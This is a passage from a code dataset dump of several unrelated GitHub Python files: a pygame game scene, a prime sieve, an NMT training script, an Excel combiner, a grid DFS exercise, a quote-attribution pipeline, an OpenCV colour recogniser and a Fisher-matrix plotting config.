SceneManager()\n self.sequence_manager.set_scenes({'ready':ReadySequence(self),\n 'game':GameSequence(self),\n 'result':ResultSequence(self),\n 'pause':PauseSequence(self),\n })\n self.bgm = BGM(u\"../resources/music/main_intro.wav\", -1, u\"../resources/music/main_loop.wav\")\n self.sequence_manager.change_scene('ready')\n self.timer.play()\n def update(self):\n self.bgm.play()\n self.sequence_manager.current_scene.update()\n super(GameScene, self).update()\n def draw(self):\n super(GameScene, self).draw()\n rect = self.sequence_manager.current_scene.draw()\n return rect\n \nclass Sequence(Scene):\n def __init__(self, scene, *args, **kwargs):\n self.scene = scene\n super(Sequence, self).__init__()\n self.text = Animation(u\"../resources/image/main/text/game.png\", AnimationInfo(-1, 0, 1, 360, 225, 1))\n self.text.animation_enable = False\n self.text.x = settings.SCREENWIDTH/2-180\n self.text.y = settings.SCREENHEIGHT/2-180\nclass ReadySequence(Sequence):\n def ready(self):\n self.scene.world = World(players=self.scene.num_players, timer=self.scene.timer)\n self.scene.navigations = []\n for player in self.scene.world.players:\n self.scene.navigations.append(Navigation(player))\n self.text.ainfo.index = 0\n self.scene.bgm.set_volume(0.7)\n self.start_sound = Sound(\"../resources/sound/start.wav\")\n self.scene.timer.reset()\n self.scene.timer.update()\n self.ready_timer = Timer(settings.FPS*3)\n self.ready_timer.play()\n def update(self):\n self.ready_timer.tick()\n if self.ready_timer.now == settings.FPS*1:\n self.text.ainfo.index = 0\n elif self.ready_timer.now >= settings.FPS*2:\n self.text.ainfo.index = 1\n self.start_sound.play()\n self.scene.sequence_manager.change_scene('game')\n self.scene.sequence_manager.current_scene.text.x = settings.SCREENWIDTH/2-180\n self.scene.sequence_manager.current_scene.text.y = settings.SCREENHEIGHT/2-180\n \n def draw(self):\n rect = self.scene.world.draw()\n map(lambda n: n.draw(), self.scene.navigations)\n self.scene.timer.draw()\n self.text.draw()\n return rect\nclass GameSequence(Sequence):\n def ready(self):\n self.text.ainfo.index = 1\n self.scene.bgm.set_volume(1)\n self.rotate_sound = Sound(u\"../resources/sound/rotate.wav\")\n self.attach_sound = Sound(u\"../resources/sound/attach.wav\")\n self.pause_sound = Sound(u\"../resources/sound/pause.wav\")\n def update(self):\n if self.text.y > -360:\n self.text.y -=30\n if self.scene.timer.is_over():\n self.scene.sequence_manager.change_scene('result')\n for player in self.scene.world.players:\n player.update()\n p = player.poll()\n u\"\"\"p=0のとき、何もしない、p=1のとき、右回転、p=2のとき設置、p=-1のとき左回転p=3のときポーズ\"\"\"\n if p == 3:\n self.pause_sound.play()\n self.scene.sequence_manager.change_scene('pause')\n elif p == 2:\n if self.scene.world.get_panel_on(player.point).can_attach_road():\n self.scene.world.replace_panel(player.current_road)\n self.attach_sound.play()\n player.attach_road()\n elif p!=0:\n self.rotate_sound.play()\n player.current_road.rotate(p)\n self.scene.world.update()\n map(lambda n: n.update(), self.scene.navigations)\n self.scene.timer.update()\n def draw(self):\n rect = self.scene.world.draw()\n map(lambda n: n.draw(), self.scene.navigations)\n self.scene.timer.draw()\n if self.text.y > -360:\n self.text.draw()\n return rect\nclass ResultSequence(Sequence):\n def ready(self):\n self.win = Animation(u\"../resources/image/main/text/win.png\", AnimationInfo(-1, 0, 1, 360, 225, 1))\n finish_sound = Sound(\"../resources/sound/finish.wav\")\n finish_sound.play()\n self.win.animation_enable = False\n self.win.x = settings.SCREENWIDTH/2-180\n self.win.y = settings.SCREENHEIGHT/2-180\n self.text.ainfo.index = 3\n self.winner = self.scene.world.get_winner()\n self.result_timer = Timer(settings.FPS*2.5)\n self.result_timer.play()\n def update(self):\n self.result_timer.tick()\n if self.result_timer.is_active() and self.result_timer.is_over():\n self.text.ainfo.index = -1\n self.scene.bgm.change(u\"../resources/music/fanfare_intro.wav\", -1, u\"../resources/music/fanfare_loop.wav\", 100)\n self.win.ainfo.index = self.winner.number\n self.result_timer.stop()\n for player in self.scene.world.players:\n p = player.poll()\n u\"\"\"p=3のとき、リプレイ\"\"\"\n if not self.result_timer.is_active() and p == 3:\n self.scene.bgm.change(u\"../resources/music/main_intro.wav\", -1, u\"../resources/music/main_loop.wav\")\n self.scene.sequence_manager.change_scene('ready')\n #ToDo Retry or Title\n def draw(self):\n rect = self.scene.world.draw()\n map(lambda n: n.draw(), self.scene.navigations)\n self.scene.timer.draw()\n self.text.draw()\n self.win.draw()\n return rect\nclass PauseSequence(Sequence):\n def ready(self):\n self.text.ainfo.index = 2\n self.scene.bgm.set_volume(0.4)\n def draw(self):\n rect = self.scene.world.draw()\n map(lambda n: n.draw(), self.scene.navigations)\n self.scene.timer.draw()\n self.text.draw()\n return rect\n def update(self):\n for player in self.scene.world.players:\n p = player.poll()\n u\"\"\"p=0のとき、何もしない、p=1のとき、右回転、p=2のとき設置、p=-1のとき左回転p=3のときポーズ\"\"\"\n if p == 3:\n self.scene.sequence_manager.change_scene('game')","repo_name":"giginet/MachiMatch","sub_path":"src/scene/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":6982,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"10453341100","text":"\"\"\"\n 计算质数\n 计算方法:埃氏筛法步骤\n 构建自然数列\n 先把1删掉\n 取出最小的2,把2的倍数删掉\n 取出最小的3,把3的倍数删掉\n 取出最小的5,把5的倍数删掉\n 以此类推\n\n python可以方便的使用生成器与筛选函数构建‘懒惰’数列,节省存储空间\n 思考:面对一个无限序列,删除操作是如何进行的?\n 这个算法的空间复杂度与时间复杂度?\n\n\"\"\"\n\n\ndef _odd_iter():\n \"\"\"\n 3开头的奇数数列\n :return:\n \"\"\"\n num_odd = 3\n while True:\n yield num_odd\n num_odd = num_odd + 2\n\n\ndef _not_divisible(num):\n \"\"\"\n 返回一个判断函数,用来判定自然数n能否被指定的数整除。\n :param num:\n :return:\n \"\"\"\n return lambda x: x % num > 0\n\n\ndef primes():\n yield 2\n prime_iter = _odd_iter()\n while True:\n num = next(prime_iter)\n yield num\n prime_iter = filter(_not_divisible(num), prime_iter)\n\n\nif __name__ == '__main__':\n for n in primes():\n if n > 11000:\n break\n elif n > 10900:\n print(n)\n","repo_name":"reverie2007/LearnPython","sub_path":"基础知识/primes.py","file_name":"primes.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5262152199","text":"# encoding: utf-8\nfrom __future__ import unicode_literals, print_function\n\nimport json\nimport os\nimport io\nimport itertools\nimport numpy as np\nimport random\nfrom time import time\nimport torch\nfrom torch import nn\nimport pickle\nimport shutil\nimport math\nfrom torch.autograd import Variable\n\nimport evaluator\nfrom models import MultiTaskNMT, Transformer, Shaped, LangShare\nfrom exp_moving_avg import ExponentialMovingAverage\nimport optimizer as optim\nfrom torchtext import data\nimport utils\nfrom config import get_train_args\nfrom fp16_utils import FP16_Optimizer, FP16_Module\n\n\ndef init_weights(m):\n if type(m) == nn.Linear:\n input_dim = m.weight.size(1)\n # LeCun Initialization\n m.weight.data.uniform_(-math.sqrt(3.0 / input_dim),\n math.sqrt(3.0 / input_dim))\n # My custom initialization\n # m.weight.data.uniform_(-3. / input_dim, 3. / input_dim)\n\n # Xavier Initialization\n # output_dim = m.weight.size(0)\n # m.weight.data.uniform_(-math.sqrt(6.0 / (input_dim + output_dim)),\n # math.sqrt(6.0 / (input_dim + output_dim)))\n\n if m.bias is not None:\n m.bias.data.fill_(0.)\n\n\ndef save_checkpoint(state, is_best, model_path_, best_model_path_):\n torch.save(state, model_path_)\n if is_best:\n shutil.copyfile(model_path_, best_model_path_)\n\n\nglobal max_src_in_batch, max_tgt_in_batch\n\n\ndef batch_size_fn(new, count, sofar):\n global max_src_in_batch, max_tgt_in_batch\n if count == 1:\n max_src_in_batch = 0\n max_tgt_in_batch = 0\n max_src_in_batch = max(max_src_in_batch, len(new[0]) + 2)\n max_tgt_in_batch = max(max_tgt_in_batch, len(new[1]) + 1)\n src_elements = count * max_src_in_batch\n tgt_elements = count * max_tgt_in_batch\n return max(src_elements, tgt_elements)\n\n\ndef save_output(hypotheses, vocab, outf):\n # Save the Hypothesis to output file\n with io.open(outf, 'w') as fp:\n for sent in hypotheses:\n words = [vocab[y] for y in sent]\n fp.write(' '.join(words) + '\\n')\n\n\ndef tally_parameters(model):\n n_params = sum([p.nelement() for p in model.parameters()])\n print('* number of parameters: %d' % n_params)\n enc = 0\n dec = 0\n for name, param in model.named_parameters():\n if 'encoder' in name:\n enc += param.nelement()\n elif 'decoder' in name:\n dec += param.nelement()\n print('encoder: ', enc)\n print('decoder: ', dec)\n\n\ndef report_func(epoch, batch, num_batches, start_time, report_stats,\n report_every):\n \"\"\"\n This is the user-defined batch-level training progress\n report function.\n Args:\n epoch(int): current epoch count.\n batch(int): current batch count.\n num_batches(int): total number of batches.\n start_time(float): last report time.\n lr(float): current learning rate.\n report_stats(Statistics): old Statistics instance.\n Returns:\n report_stats(Statistics): updated Statistics instance.\n \"\"\"\n if batch % report_every == -1 % report_every:\n report_stats.output(epoch, batch + 1, num_batches, start_time)\n report_stats = utils.Statistics()\n\n return report_stats\n\n\nclass CalculateBleu(object):\n def __init__(self, model, test_data, key, batch=50, max_decode_len=50,\n beam_size=1, alpha=0.6, max_sent=None):\n self.model = model\n self.test_data = test_data\n self.key = key\n self.batch = batch\n self.device = -1\n self.max_decode_length = max_decode_len\n self.beam_size = beam_size\n self.alpha = alpha\n self.max_sent = max_sent\n\n def __call__(self):\n self.model.eval()\n references = []\n hypotheses = []\n for i in range(0, len(self.test_data), self.batch):\n sources, targets = zip(*self.test_data[i:i + self.batch])\n references.extend(t.tolist() for t in targets)\n x_block = utils.source_pad_concat_convert(sources,\n device=None)\n x_block = Variable(torch.LongTensor(x_block).type(utils.LONG_TYPE),\n requires_grad=False)\n ys = self.model.translate(x_block,\n self.max_decode_length,\n beam=self.beam_size,\n alpha=self.alpha)\n hypotheses.extend(ys)\n if self.max_sent is not None and \\\n ((i + 1) > self.max_sent):\n break\n\n # Log Progress\n if self.max_sent is not None:\n den = self.max_sent\n else:\n den = len(self.test_data)\n print(\"> Completed: [ %d / %d ]\" % (i, den), end='\\r')\n\n bleu = evaluator.BLEUEvaluator().evaluate(references, hypotheses)\n print('BLEU:', bleu.score_str())\n print('')\n return bleu.bleu, hypotheses\n\n\ndef main():\n best_score = 0\n args = get_train_args()\n print(json.dumps(args.__dict__, indent=4))\n\n # Set seed value\n torch.manual_seed(args.seed)\n random.seed(args.seed)\n if args.gpu:\n torch.cuda.manual_seed_all(args.seed)\n\n # Reading the int indexed text dataset\n train_data = np.load(os.path.join(args.input, args.data + \".train.npy\"), allow_pickle=True)\n train_data = train_data.tolist()\n dev_data = np.load(os.path.join(args.input, args.data + \".valid.npy\"), allow_pickle=True)\n dev_data = dev_data.tolist()\n test_data = np.load(os.path.join(args.input, args.data + \".test.npy\"), allow_pickle=True)\n test_data = test_data.tolist()\n\n # Reading the vocab file\n with open(os.path.join(args.input, args.data + '.vocab.pickle'), 'rb') as f:\n id2w = pickle.load(f)\n\n args.id2w = id2w\n args.n_vocab = len(id2w)\n\n # Define Model\n model = eval(args.model)(args)\n model.apply(init_weights)\n\n tally_parameters(model)\n if args.gpu >= 0:\n model.cuda(args.gpu)\n print(model)\n\n optimizer = optim.TransformerAdamTrainer(model, args)\n ema = ExponentialMovingAverage(decay=0.999)\n ema.register(model.state_dict())\n\n if args.fp16:\n model = FP16_Module(model)\n optimizer = FP16_Optimizer(optimizer,\n static_loss_scale=args.static_loss_scale,\n dynamic_loss_scale=args.dynamic_loss_scale,\n dynamic_loss_args={'init_scale': 2 ** 16},\n verbose=False)\n\n # optionally resume from a checkpoint\n if args.resume:\n if os.path.isfile(args.model_file):\n print(\"=> loading checkpoint '{}'\".format(args.model_file))\n checkpoint = torch.load(args.model_file)\n args.start_epoch = checkpoint['epoch']\n best_score = checkpoint['best_score']\n model.load_state_dict(checkpoint['state_dict'])\n optimizer.load_state_dict(checkpoint['optimizer'])\n print(\"=> loaded checkpoint '{}' (epoch {})\".\n format(args.model_file, checkpoint['epoch']))\n else:\n print(\"=> no checkpoint found at '{}'\".format(args.model_file))\n\n src_data, trg_data = list(zip(*train_data))\n total_src_words = len(list(itertools.chain.from_iterable(src_data)))\n total_trg_words = len(list(itertools.chain.from_iterable(trg_data)))\n iter_per_epoch = (total_src_words + total_trg_words) // (2 * args.wbatchsize)\n print('Approximate number of iter/epoch =', iter_per_epoch)\n time_s = time()\n\n global_steps = 0\n num_grad_steps = 0\n for epoch in range(args.start_epoch, args.epoch):\n random.shuffle(train_data)\n train_iter = data.iterator.pool(train_data,\n args.wbatchsize,\n key=lambda x: (len(x[0]), len(x[1])),\n batch_size_fn=batch_size_fn,\n random_shuffler=\n data.iterator.RandomShuffler())\n report_stats = utils.Statistics()\n train_stats = utils.Statistics()\n if args.debug:\n grad_norm = 0.\n for num_steps, train_batch in enumerate(train_iter):\n global_steps += 1\n model.train()\n if args.grad_accumulator_count == 1:\n optimizer.zero_grad()\n elif num_grad_steps % args.grad_accumulator_count == 0:\n optimizer.zero_grad()\n src_iter = list(zip(*train_batch))[0]\n src_words = len(list(itertools.chain.from_iterable(src_iter)))\n report_stats.n_src_words += src_words\n train_stats.n_src_words += src_words\n\n in_arrays = utils.seq2seq_pad_concat_convert(train_batch, -1)\n loss, stat = model(*in_arrays)\n # loss.backward()\n if args.fp16:\n optimizer.backward(loss)\n else:\n loss.backward()\n num_grad_steps += 1\n if args.debug:\n norm = utils.grad_norm(model.parameters())\n grad_norm += norm\n if global_steps % args.report_every == 0:\n print(\"> Gradient Norm: %1.4f\" % (grad_norm / (num_steps + 1)))\n if args.grad_accumulator_count == 1:\n optimizer.step()\n ema.apply(model.state_dict(keep_vars=True))\n elif num_grad_steps % args.grad_accumulator_count == 0:\n optimizer.step()\n ema.apply(model.state_dict(keep_vars=True))\n num_grad_steps = 0\n report_stats.update(stat)\n train_stats.update(stat)\n report_stats = report_func(epoch, num_steps, iter_per_epoch,\n time_s, report_stats, args.report_every)\n\n valid_stats = utils.Statistics()\n if global_steps % args.eval_steps == 0:\n '''dev_iter = data.iterator.pool(dev_data,\n args.wbatchsize,\n key=lambda x: (len(x[0]), len(x[1])),\n batch_size_fn=batch_size_fn,\n random_shuffler=data.iterator.\n RandomShuffler())\n\n for dev_batch in dev_iter:\n model.eval()\n print(len(dev_batch))\n in_arrays = utils.seq2seq_pad_concat_convert(dev_batch, -1)\n _, stat = model(*in_arrays)\n valid_stats.update(stat)'''\n\n print('Train perplexity: %g' % train_stats.ppl())\n print('Train accuracy: %g' % train_stats.accuracy())\n\n '''print('Validation perplexity: %g' % valid_stats.ppl())\n print('Validation accuracy: %g' % valid_stats.accuracy())'''\n\n if args.metric == \"accuracy\":\n score = valid_stats.accuracy()\n elif args.metric == \"bleu\":\n score, _ = CalculateBleu(model,\n dev_data,\n 'Dev Bleu',\n batch=args.batchsize // 4,\n beam_size=args.beam_size,\n alpha=args.alpha,\n max_sent=args.max_sent_eval)()\n\n # Threshold Global Steps to save the model\n if global_steps > 8000:\n is_best = score > best_score\n best_score = max(score, best_score)\n save_checkpoint({\n 'epoch': epoch + 1,\n 'state_dict': model.state_dict(),\n 'state_dict_ema': ema.shadow_variable_dict,\n 'best_score': best_score,\n 'optimizer': optimizer.state_dict(),\n 'opts': args,\n }, is_best,\n args.model_file,\n args.best_model_file)\n\n # BLEU score on Dev and Test Data\n checkpoint = torch.load(args.best_model_file)\n print(\"=> loaded checkpoint '{}' (epoch {}, best score {})\".\n format(args.best_model_file,\n checkpoint['epoch'],\n checkpoint['best_score']))\n model.load_state_dict(checkpoint['state_dict'])\n\n print('Dev Set BLEU Score')\n _, dev_hyp = CalculateBleu(model,\n dev_data,\n 'Dev Bleu',\n batch=args.batchsize // 4,\n beam_size=args.beam_size,\n alpha=args.alpha,\n max_decode_len=args.max_decode_len)()\n save_output(dev_hyp, id2w, args.dev_hyp)\n\n print('Test Set BLEU Score')\n _, test_hyp = CalculateBleu(model,\n test_data,\n 'Test Bleu',\n batch=args.batchsize // 4,\n beam_size=args.beam_size,\n alpha=args.alpha,\n max_decode_len=args.max_decode_len)()\n save_output(test_hyp, id2w, args.test_hyp)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"akshay107/nmt-attack","sub_path":"multilingual_nmt/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":13563,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"9136914426","text":"import os\nimport pandas as pd\n\n### Combine excel files\n\ndata_folder = \"\"\noutput_file = \"file.xlsx\"\n\n########\n\ndf_info = []\ndf_domains = []\nfor file in os.listdir(data_folder):\n if file.endswith('.xlsx'):\n print('Loading file {0}...'.format(file))\n df_info.append(pd.read_excel(os.path.join(data_folder, file), sheet_name=\"new_info\"))\n df_domains.append(pd.read_excel(os.path.join(data_folder, file), sheet_name=\"domains\"))\n\ndf_main = pd.concat(df_info, axis=0)\ndf_main2 = pd.concat(df_domains, axis=0)\n\nwith pd.ExcelWriter(output_file) as writer:\n df_main.to_excel(writer, sheet_name='info', index=False)\n df_main2.to_excel(writer, sheet_name='domains', index=False)\n","repo_name":"TeresaCoimbra/iodine_transporters","sub_path":"Phylogenetic_Analysis/combine_excel.py","file_name":"combine_excel.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24144731000","text":"# 유기농 배추\n# https://www.acmicpc.net/problem/1012\n\nimport sys\nimport socket\ncom = socket.gethostname()\nif com in ('piai-Precision-7920-Tower', 'Normalistui-MacBookPro.local'):\n this_file_name = sys._getframe().f_code.co_filename\n sys.stdin = open(f\"{this_file_name[:-3]}.txt\", \"r\")\n\n\nT = int(input())\n# 여러개의 테스트 케이스가 주어지므로, 각각을 처리합니다.\nfor test_case in range(1, T + 1):\n M, N, K = map(int, input().split())\n\n mat = [[0]*N for _ in range(M)]\n\n for _ in range(K):\n X, Y = map(int, input().split())\n mat[X][Y] = 1\n\n dx = [0, 1, 0, -1]\n dy = [1, 0, -1, 0]\n\n stack = []\n count = 0\n\n for X in range(M):\n for Y in range(N):\n if mat[X][Y] == 1:\n stack.append((X, Y))\n while len(stack) > 0:\n x, y = stack.pop()\n mat[x][y] = 0\n\n for k in range(4):\n nx = x + dx[k]\n ny = y + dy[k]\n if (nx >= 0 and nx < M and ny >= 0 and ny < N):\n if mat[nx][ny] == 1:\n mat[nx][ny] = 0\n stack.append((nx, ny))\n count += 1\n\n print(count)\n","repo_name":"Normalist-K/algorithm","sub_path":"study/hustar2/organic.py","file_name":"organic.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22783625907","text":"#!/usr/bin/env python3 -u\n# -*- coding: utf-8 -*-\n\nimport os\nimport multiprocessing\nimport time\nimport traceback\nimport pdb\n\nfrom chapter import Chapter\nimport feature_extracters\nimport pdb\n\ndef single_predict(inp):\n \"\"\"Do quote attribution prediction on single process\n \n Args:\n inp: A tuple as (args, feat_extracters, story_file, char_file, \n output_file, tok_file, tmp_dir), where `args' is the parsed CLI \n arguments object, `feat_extracters' is a list of feature extracters, \n `story_file' is the path to the story file, `char_file' is the path\n to the character list file, `output_file' is the path to save\n results, `tok_file' is the path to tokenization file (could be \n None or invalid, if so, no external tokenization will be load), and \n `tmp_dir' is the path to save temporary files.\n \n Returns:\n A tuple as (story_file, success). `success' will be False if \n processing failed.\n \"\"\"\n args, feat_extracters, story_file, char_file, output_file, tok_file, tmp_dir = inp\n name = multiprocessing.current_process().name\n story_filename = os.path.basename(story_file)\n print(\"\\n### {} processing {} ###\".format(name, story_filename))\n\n try:\n # Read chapter\n chapter = Chapter.read_with_booknlp(story_file, char_file, \n getattr(args, 'booknlp', None), \n tok_file=tok_file,\n coref_story=(not args.no_coref_story), \n no_cipher=args.no_cipher_char, \n fix_inv_char=args.fix_inv_char,\n tmp=tmp_dir)\n # Predict quote attribution\n chapter.quote_attribution_svmrank(feat_extracters, args.model_path, getattr(args, 'svmrank', None), tmp=tmp_dir)\n\n # Dump\n chapter.dump_quote_json(output_file)\n\n except Exception as err:\n #print(err)\n track = traceback.format_exc()\n print(track)\n return (story_file, False)\n\n return (story_file, True)\n\n\ndef predict(args):\n \"\"\"Predict quote attribution with multi-processing.\n \n The function will process the story of / all stories under args.story_path\n with their corresponding character list files, by using book-nlp and \n svm-rank, and write results into args.output_path.\n \"\"\"\n\n # Check and process data path arguments\n args.tmp = os.path.abspath(args.tmp)\n if getattr(args, 'booknlp', None) is not None:\n args.booknlp = os.path.abspath(args.booknlp)\n if getattr(args, 'svmrank', None) is not None:\n args.svmrank = os.path.abspath(args.svmrank)\n args.model_path = os.path.abspath(args.model_path)\n if not os.path.exists(args.model_path):\n raise ValueError(\"Invalid model path.\")\n\n story_files = []\n char_files = []\n output_files = []\n tok_files = []\n tmp_dirs = []\n\n # Check for relative/abs output path\n if not args.story_path.startswith('/'): # relative path\n args.story_path = '../' + args.story_path\n if not args.char_path.startswith('/'): # relative path\n args.char_path = '../' + args.char_path\n if not args.output_path.startswith('/'):\n args.output_path = '../' + args.output_path\n\n if os.path.isdir(args.story_path):\n print(\"Read input directories\")\n if not os.path.isdir(args.char_path):\n raise ValueError(\"--story-path and --char-path should be directories \"\n \"at the same time\")\n if os.path.isfile(args.output_path):\n raise ValueError(\"--output-path already exists and is a file instead \"\n \"of a directory when --story-path is a directory\")\n if not os.path.exists(args.output_path):\n os.makedirs(args.output_path)\n\n # Build data paths\n args.story_dir = os.path.abspath(args.story_path)\n args.char_dir = os.path.abspath(args.char_path)\n args.output_dir = os.path.abspath(args.output_path)\n if not hasattr(args, 'tok_path') or args.tok_path is None:\n args.tok_dir = None\n else:\n args.tok_dir = os.path.abspath(args.tok_path)\n for filename in os.listdir(args.story_dir):\n if filename.endswith(args.story_suffix):\n filestem = filename[:-len(args.story_suffix)]\n story_files.append(os.path.join(args.story_dir, filename))\n char_filename = filestem + args.char_suffix\n char_files.append(os.path.join(args.char_dir, char_filename))\n output_filename = filestem + '.quote.json'\n output_files.append(os.path.join(args.output_dir, output_filename))\n if args.tok_dir is None:\n tok_files.append(None)\n else:\n tok_filename = filestem + args.tok_suffix\n tok_files.append(os.path.join(args.tok_dir, tok_filename))\n tmp_dirs.append(os.path.join(args.tmp, filestem))\n\n elif os.path.isfile(args.story_path):\n print(\"Read input files\")\n if os.path.isdir(args.char_path):\n raise ValueError(\"--story-path and --char-path should be directories \"\n \"at the same time\")\n if os.path.isdir(args.output_path):\n raise ValueError(\"--output-path already exists and is a directory \"\n \"instead of a file when --story-path is a directory\")\n output_parent_dir = os.path.abspath(os.path.dirname(args.output_path))\n if not os.path.exists(output_parent_dir):\n os.makedirs(output_parent_dir)\n\n # Build data paths\n story_files.append(os.path.abspath(args.story_path))\n char_files.append(os.path.abspath(args.char_path))\n output_files.append(os.path.abspath(args.output_path))\n if not hasattr(args, 'tok_path') or args.tok_path is None:\n tok_files.append(None)\n else:\n tok_files.append(os.path.abspath(args.tok_path))\n tmp_dirs.append(os.path.join(args.tmp, os.path.basename(args.story_path)))\n\n else:\n raise ValueError(\"Invalid path: {}\".format(args.story_path))\n\n # Build feature extracters\n feat_extracters = feature_extracters.build_feature_extracters(args)\n\n # Build multi-process inputs\n single_predict_inputs = []\n for story_file, char_file, output_file, tok_file, tmp_dir in zip(story_files, char_files, output_files, tok_files, tmp_dirs):\n single_predict_inputs.append((args, feat_extracters, story_file, char_file, output_file, tok_file, tmp_dir))\n num_tasks = len(single_predict_inputs)\n print(\"{} files to process ... \".format(num_tasks))\n \n # Check and process multiprocessing arguments\n if not isinstance(args.threads, int) or args.threads <= 0:\n raise ValueError(\"--threads should be a valid integer\")\n\n # Do multi-processing\n try:\n print(\"Initializing {} workers\".format(args.threads))\n pool = multiprocessing.Pool(processes=args.threads)\n # For the sake of KeyboardInterrupt, we use map_async with timeout\n # TODO: add progress bar\n\n # debug mode for pdb\n res = []\n for inp in single_predict_inputs:\n res.append(single_predict(inp))\n\n #res = pool.map_async(single_predict, single_predict_inputs).get(9999999)\n failed = []\n for story_file, success in res:\n if not success:\n failed.append(story_file)\n print(\"{} out of {} input files failed:\".format(len(failed), num_tasks))\n for story_file in failed:\n print(\" Failed: {}\".format(story_file))\n except KeyboardInterrupt:\n print(\"Caught KeyboardInterrupt, terminating workers\")\n pool.terminate()\n else:\n print(\"Normal termination\")\n pool.close()\n pool.join()\n\n print(\"Done.\")\n","repo_name":"michaelmilleryoder/fanfiction-nlp-archive","sub_path":"quote_attribution_he/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":8044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17052252871","text":"import numpy as np\nimport cv2 as cv\nfrom cvision.colorspaceConversion import rgb2hsv, bgr2hsv\n\n\n# Słownik zawierający zdefiniowane kolory w przestrzeni barw HSV\ncolors = {\n 'red': np.array([0, 100, 100]),\n 'orange': np.array([50, 100, 100]),\n 'yellow': np.array([60, 100, 100]),\n 'green': np.array([120, 100, 100]),\n 'blue': np.array([240, 100, 100]),\n 'violet': np.array([260, 100, 100]),\n 'pink': np.array([330, 100, 100]),\n 'red': np.array([360, 100, 100]),\n}\n\ndef colorRecognition(image, cnt):\n b, g, r = cv.split(image) # Wydzielenie kanałów RGB obrazu na osobne zmienne\n mask = np.zeros(b.shape, np.uint8) # Zdefiniowanie maski o wymiarach obrazu\n cnt = np.array(cnt).reshape((-1, 1, 2)).astype(np.int32)\n cv.drawContours(mask, [cnt], -1, 255, -1) # Narysowanie konturu na masce\n # Obliczenie średniej wartości każdego kanału przestrzenii barw z nałożoną maską dla konturu\n b = cv.mean(b, mask=mask)\n g = cv.mean(g, mask=mask)\n r = cv.mean(r, mask=mask)\n\n hsv = bgr2hsv(int(b[0]), int(g[0]), int(r[0])) # Konwersja przestrzenii barw BGR na HSV\n # Gdy nasycenie barwy jest małe sprawdzenie obrazu pod kątem szarości, bieli i czerni\n if hsv[1] < 10:\n if hsv[2] < 12:\n return 'black'\n elif hsv[2] > 80:\n return 'white'\n else:\n return 'gray'\n else:\n # Zainicjalizowanie tablicy do przechowywania różnicy pomiędzy wartościami barwy z obrazu a wartościami ze słownika\n diff = np.empty(shape=(0, 2), dtype=([('values', np.dtype(int)), ('names', type(colors.keys()))]))\n # Pętla obliczająca różnice\n for name, value in colors.items():\n abs_diff = abs(int(hsv[0]) - int(value[0]))\n diff = np.append(diff, np.array([(abs_diff, name)], dtype=diff.dtype))\n color = np.sort(diff)[0][1] # Posortowanie tablicy i przypisanie najmniejszej wartości do zwracanej zmiennej\n # Sprawdzenie czy natężenie nie jest zbyt małe\n if hsv[2] < 10:\n return 'black'\n else:\n return color\n","repo_name":"awojasinski/UR","sub_path":"src/RaspberryPi/cvision/colorRecognition.py","file_name":"colorRecognition.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21966371773","text":"import json\nimport logging\nfrom pathlib import Path\nfrom typing import Dict, Tuple, Union, List, Iterable\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport matplotlib\nfrom matplotlib.patches import Ellipse, Patch\nfrom matplotlib import ticker\n\nfrom seyfert.fisher.fisher_analysis import FisherAnalysis\nfrom seyfert.fisher.fisher_matrix import FisherMatrix\nfrom seyfert.utils import converters as cnv, tex_utils as txu, filesystem_utils as fsu\nfrom seyfert import plot_utils\n\nlogger = logging.getLogger(__name__)\n\n\nclass FisherPlotConfig:\n config_dict: \"Dict\"\n gauss_cl_alpha_dict: \"Dict[float, float]\"\n ellipse_cl_alpha_dict: \"Dict[float, float]\"\n plot_ranges: \"Dict[str, Tuple[float, float]]\"\n\n def __init__(self,\n config_file: \"Union[str, Path]\" = None,\n n_cosmo_pars: \"int\" = None):\n self.n_cosmo_pars = n_cosmo_pars\n self.gauss_cl_alpha_dict = None\n self.ellipse_cl_alpha_dict = None\n self.plot_ranges = None\n self.config_dict = None\n self.cmap = None\n self.tex_transl = txu.TeXTranslator()\n if not isinstance(self.n_cosmo_pars, int):\n raise TypeError(f'expected int as n_cosmo_pars, got {type(self.n_cosmo_pars)}')\n\n if isinstance(config_file, (str, Path)):\n with open(config_file, 'r') as jsf:\n config_dict = json.load(jsf)\n self.loadFromConfigDict(config_dict[\"plot_settings\"])\n\n @property\n def use_tex(self):\n return self.config_dict['usetex']\n\n @property\n def dims_dict(self):\n return self.config_dict['dimensions']\n\n @property\n def fig_size_x_cm(self):\n return self.dims_dict['fig_size_x_cm']\n\n @property\n def fig_size_y_cm(self):\n return self.dims_dict['fig_size_y_cm']\n\n @property\n def fig_size_x_inches(self):\n return cnv.CmToInches(self.fig_size_x_cm)\n\n @property\n def fig_size_y_inches(self):\n return cnv.CmToInches(self.fig_size_y_cm)\n\n @property\n def horizontal_spacing(self):\n return self.dims_dict['subplots_spacing']['horizontal']\n\n @property\n def vertical_spacing(self):\n return self.dims_dict['subplots_spacing']['vertical']\n\n @property\n def graphics_dict(self):\n return self.config_dict['graphics']\n\n @property\n def dpi(self):\n return self.graphics_dict['dpi']\n\n @property\n def color_map_name(self):\n return self.graphics_dict['color_map']\n\n @property\n def axes_dict(self):\n return self.config_dict['axes']\n\n @property\n def axes_label_size(self):\n return self.axes_dict['label_size']\n\n @property\n def axes_x_label_pad(self):\n return self.axes_dict['x_label_pad']\n\n @property\n def axes_y_label_pad(self):\n return self.axes_dict['y_label_pad']\n\n @property\n def axes_borders_width(self):\n return 